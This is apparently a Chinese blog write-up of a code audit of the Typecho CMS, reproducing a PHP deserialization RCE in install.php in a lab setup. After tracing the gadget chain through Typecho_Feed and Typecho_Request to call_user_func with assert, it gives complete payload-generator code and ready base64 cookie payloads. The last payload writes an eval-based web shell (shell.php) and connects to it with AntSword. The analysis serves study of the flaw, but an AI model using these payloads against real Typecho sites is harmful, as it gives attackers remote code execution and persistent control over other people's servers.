Typecho代码审计-反序列化漏洞复现(超详细!!!)
本文以Typecho为靶场,复现了反序列化漏洞
主页面如图所示

1. 全局搜索高危函数unserialize

2. 进入Id=1的文件——install.php
第230行
$config
=
unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
-
unserialize:反序列化函数
-
base64_decode:以
base64解码 -
Typecho_Cookie::get(‘__typecho_config’):使用Typecho框架的Cookie类中的
get方法获取一个名字为__typecho_config的cookie的值。 -
整体含义:从名为
__typecho_config的 Cookie 中获取一个经过Base64 编码和序列化处理的字符串,然后将其解码并还原为原始的 PHP 数据结构。
3. 审计get函数——Cookie.php
代码如下:
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key
]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
-
第3行:
$key是要搜索的键名,然后给这个键名加上一个前缀 -
第4~5行:首先判断是否有
$key的cookie,如果有则赋值给$value,如果cookie中没有$key则判断是否通过POST传参进来的值是否存在我们要搜索的键名$key,如果有则返回该值,如果没有则返回默认值NULL。 -
第6行:如果返回的是一个数组,则返回默认值NULL,否则返回
$value
审计完毕,综上所述得出的结论是,后端未对传递的数据进行过滤检测。
思考:如何才能进入到这里进行反序列化?
审计代码发现

首先
<?php if (isset($_GET['finish'])) : ?>
-
isset:检测变量是否已声明并且其值不为 null
-
当此为真的时候才能进行下一步,所以判断此处应该位通过GET传参进来的
finish -
同时
config.inc.php必须要存在,才能进行下一步 -
同时也要满足第二步,就是使用Typecho框架的Cookie类中的
get方法获取一个名字为__typecho_config的cookie的值。然后取反成false才能进行第三步的反序列化。 -
综上所述,应该满足的条件为
-
finish变量被传递进来
-
config.inc.php必须存在
-
通过Typech_Cookie的get方法获取到了参数
-
此时我们再从开头开始看起走(上述的审计代码,感觉不对,应该从头开始审计,而上述审计有一点不准确。可舍弃)
4. 返回install.php
第59~61行
//判断是否已经安装
if (!isset($_GET['finish']) &&
file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') &&
empty($_SESSION['typecho'])) {
exit;
}
-
判断finish参数是否被定义了
-
判断
TYPECHO_ROOT_DIR是否在'/config.inc.php'这个文件 -
session中的typecho是否为空
-
同时满足三个条件,就会
exit,退出了,也不会执行后续的语句,那么我们这里就给他传递一个finish参数,这样我们就能继续往下了。
第64~77行
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
第一个大的判断语句是如果get传递的参数不为空或者post传递的参数不为空,那么执行下一步,现在,我们通过webstorm去查看通过get方法获取参数这里的get方法过滤了哪些东西的
-
如果get传递的参数不为空或者post传递的参数不为空
-
HTTP_REFERER不为空
-
必须满足referer头的host不为空或请求头中host和referer中host保持一致
-
总结一下,就只要满足三个条件
-
请求头中host和referer中host保持一致
-
定义
finish参数 -
__typecho_config要在cookie里面,或者通过post传参进来
-
-
这里我们在本地源代码这里制造一个断点,在反序列化前面echo一下,然后die掉,判断代码能否走到这里

发现能成功输出success,那么就说明满足上述条件就能正常到达反序列化的代码块这里。
接下来审计下面的代码了
反序列化后$config是一个字符串,但经过一个
Typecho_Cookie::delete('__typecho_config');
在这里可以看出$config此时其实是一个数组了
$db = new Typecho_Db($config['adapter'], $config['prefix']);
第232~233行
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
-
这里的
$config是什么?$config是一个数组,从里面取出adapter和prefix
-
这里的
Typecho_Db是什么?

-
翻阅到
db.php中发现,这是一个关于数据库操作的方法,其中,数据库适配器这里他会拼接一个$adapterName,显然这里的$adapterName是一个字符串。- 如果这里的
$adapterName是一个对象,那么这里将会调用_tostring方法,因为拼接也能调用_tostring方法
- 如果这里的
那么这里就会有思路了
-
如果$adapterName是一个对象,那么将会调用__toString方法
-
正常传参是一个字符串,为了让他出问题,所以才要去想办法传入一个对象
-
需要去准备一个对象
- 找一个类,并且类里面必须有__toString
5. 全局搜索__tostring
全局搜索__tostring,结果如图

那么就去找这3个文件去审计
进入Id=2的文件夹
public function __toString()
{
return serialize($this->_currentConfig);
}
这个序列化完了之后就没后续了,换下一个
进入Id=3的文件夹
Feed.php
进入Id=4的文件夹
检查了SQL语句的类型,预定义了一些sql语句
综上所述,我们应该去审计那个Feed.php这个文件夹
6. Feed.php
227~253行
代码如下:
if (self::RSS1 == $this->_type) {
$result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;
$content = '';
$links = array();
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
$content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '</item>' . self::EOL;
$links[] = $item['link'];
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
当满足第一个if条件的,就进入下面的代码执行,其中foreach (this->_items as item)这里的意思就是将_item这个数组赋值给$item,然后执行下面语句,可以看到后面拼接的基本都是从这个数组拿出来的属性,根本就不可控,故继续向下审计
第272~290行
else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
当不满足第一个条件,然后又判断且满足这个条件,进入下面的代码,这里我们可以看到有一个content .= '' . htmlspecialchars(item['author']->screenName),item[‘author’]是一个对象,然后从这个对象里面取出了一个screenName属性
注:当这个属性screenName是私有的、受保护的、不存在的,这个时候就会调用get()方法,这里我们就要找一个有这个get方法,但是里面的属性没有这个screenName,或者有这个属性但是是受保护或者私有的。
7. 全局搜索__get

进入Id=1的文件
public function __get($prefix)
{
return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
}
将传递进来的$prefix拼接到后面去,暂时看不出来什么情况,放置
进入Id=2的文件
public function __get($name)
{
return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
}
-
检查this->_currentConfig[name]有没有存在name的键
-
有则返回键对应的值
-
没有则返回null
进入Id=3的文件
public function __get($name)
{
switch ($name) {
case 'year':
return date('Y', $this->timeStamp);
case 'month':
return date('m', $this->timeStamp);
case 'day':
return date('d', $this->timeStamp);
default:
return;
}
}
- 看样子应该是一个关于时间函数的一个定义,返回了一个格式后的值
进入Id=4的文件
public function __get($component)
{
$this->_component = $component;
return $this;
}
- 将属性名
$component作为一个参数赋值给了__component
进入Id=5的文件
public function __get($key)
{
return $this->get($key);
}
-
将
$key传递给了get方法 -
同时get方法将这个属性参数返回了一个相应的值,这里我们就要去看看这个get方法里面有什么?
Request.php第293~309行
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) &&
strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
-
$key就是我们之前传递的参数 -
switch(ture)就是让条件一直为真,让后端的每个case分支都能被灵活检查,不再局限于switch()里面的内容 -
第一个是判断
$key是否存在于__params中- 如果存在就赋值给
$value
- 如果存在就赋值给
-
那么我们思考,我们想传进来的
$key到底是个什么东西?- 就是Feed.php中的screenName属性,起初我们想要在
screenName这里搜寻一个get方法,然后进入了Id=5的这个文件,发现这里又引用了一个get方法,所以这里的$key就应该是screenName
- 就是Feed.php中的screenName属性,起初我们想要在
-
如果
$value不是一个数组,且字符串长度大于0,那么$value就是他自身,否则返回默认值null- 然后返回调用
_applyFilter,现在就去看_applyFilter这个方法
- 然后返回调用
第159~171行
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
-
$value就是之前赋值的那个$value -
$value是数组就执行array_map() -
$value不是数组就执行call_user_func() -
那我们就让其上面传进来的是一个字符串,那么就判断其不是数组,就执行call_user_func(
$filter,$value)-
$filter=assert -
$value=phpinfo(); -
造成了RCE代码执行漏洞
-
8. 验证——构造Payload
梳理一下:
-
$adapterName必须是一个对象,这样才能调用__toString方法 -
我们找到的
_toString方法在Feed.php中的Typecho_Feed类里面- 构造class Typecho_Feed类
<?php
class Typecho_Feed{
}
-
要想当
screenName哪里,条件必须满足self::RSS2 == $this->_type- 所以必须在里面加一个__type=RSS2
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
}
}
-
到后面
foreach ($this->_items as $item)- 那么
$this->_items这里是一个数组,$item也是一个数组,那么就在上面的payload基础上,声明_ietms是一个数组就OK
- 那么
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
private $_items = array();
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
}
}
-
同时我们去看
$item里面还有什么?发现之后可以知道有title、link、date、author-
$item数组又在_items数组里面 -
所以直接把
_items数组里面的第一个元素给$item数组 -
其他可以随便选,但是anthor应该填什么?
- 在这里我们选择调用
_get方法,并且我们审计找的那个在Request.php里面的一个Typecho_Request类
- 在这里我们选择调用
-
所以payload应该为
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
private $_items = array();
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
$this->_items[0]=array(
'title'=>'test',
'link'=>123456,
'date'=>2023,
'author'=>new Typecho_Request()
);
}
}
class Typecho_Request{
}
-
同时结合
Request.php中的get()方法-
让
_params数组,传进来screenName -
screenName应该为后续要执行RCE漏洞的代码 -
$_filter要满足是一个数组
-
那么payload为
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
private $_items = array();
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
$this->_items[0]=array(
'title'=>'test',
'link'=>123456,
'date'=>2023,
'author'=>new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName'=>'phpinfo();'
);
private $_filter = array(
'assert'
);
}
$config应该是一个数组,且里面的adapter是一个对象所以构造payload
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
private $_items = array();
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
$this->_items[0]=array(
'title'=>'test',
'link'=>123456,
'date'=>2023,
'author'=>new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName'=>'phpinfo();'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
- 最后将
$config进行序列化,然后base64进行编码
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
private $_items = array();
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
$this->_items[0]=array(
'title'=>'test',
'link'=>123456,
'date'=>2023,
'author'=>new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName'=>'die(phpinfo());'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;
这个php输出就是我们的payload了
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjM0NTY7czo0OiJkYXRlIjtpOjIwMjM7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTU6ImRpZShwaHBpbmZvKCkpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
效果如图


9. 写入shell
<?php
class Typecho_Feed{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/**
* feed状态
*
* @access private
* @var string
*/
private $_type;
/**
* 创建Feed对象
*
* @access public
* @return void
*/
private $_items = array();
public function __construct()
{
//原版:$this->_type = $type;
$this->_type = 'RSS 2.0';
$this->_items[0]=array(
'title'=>'test',
'link'=>123456,
'date'=>2023,
'author'=>new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName'=>'die(file_put_contents("shell.php","<?php
eval(\$_REQUEST[123]);?>"));'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;
payload
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjM0NTY7czo0OiJkYXRlIjtpOjIwMjM7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NzA6ImRpZShmaWxlX3B1dF9jb250ZW50cygic2hlbGwucGhwIiwiPD9waHANCmV2YWwoXCRfUkVRVUVTVFsxMjNdKTs/PiIpKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
测试效果图


测试连接蚁剑

`
更多推荐
所有评论(0)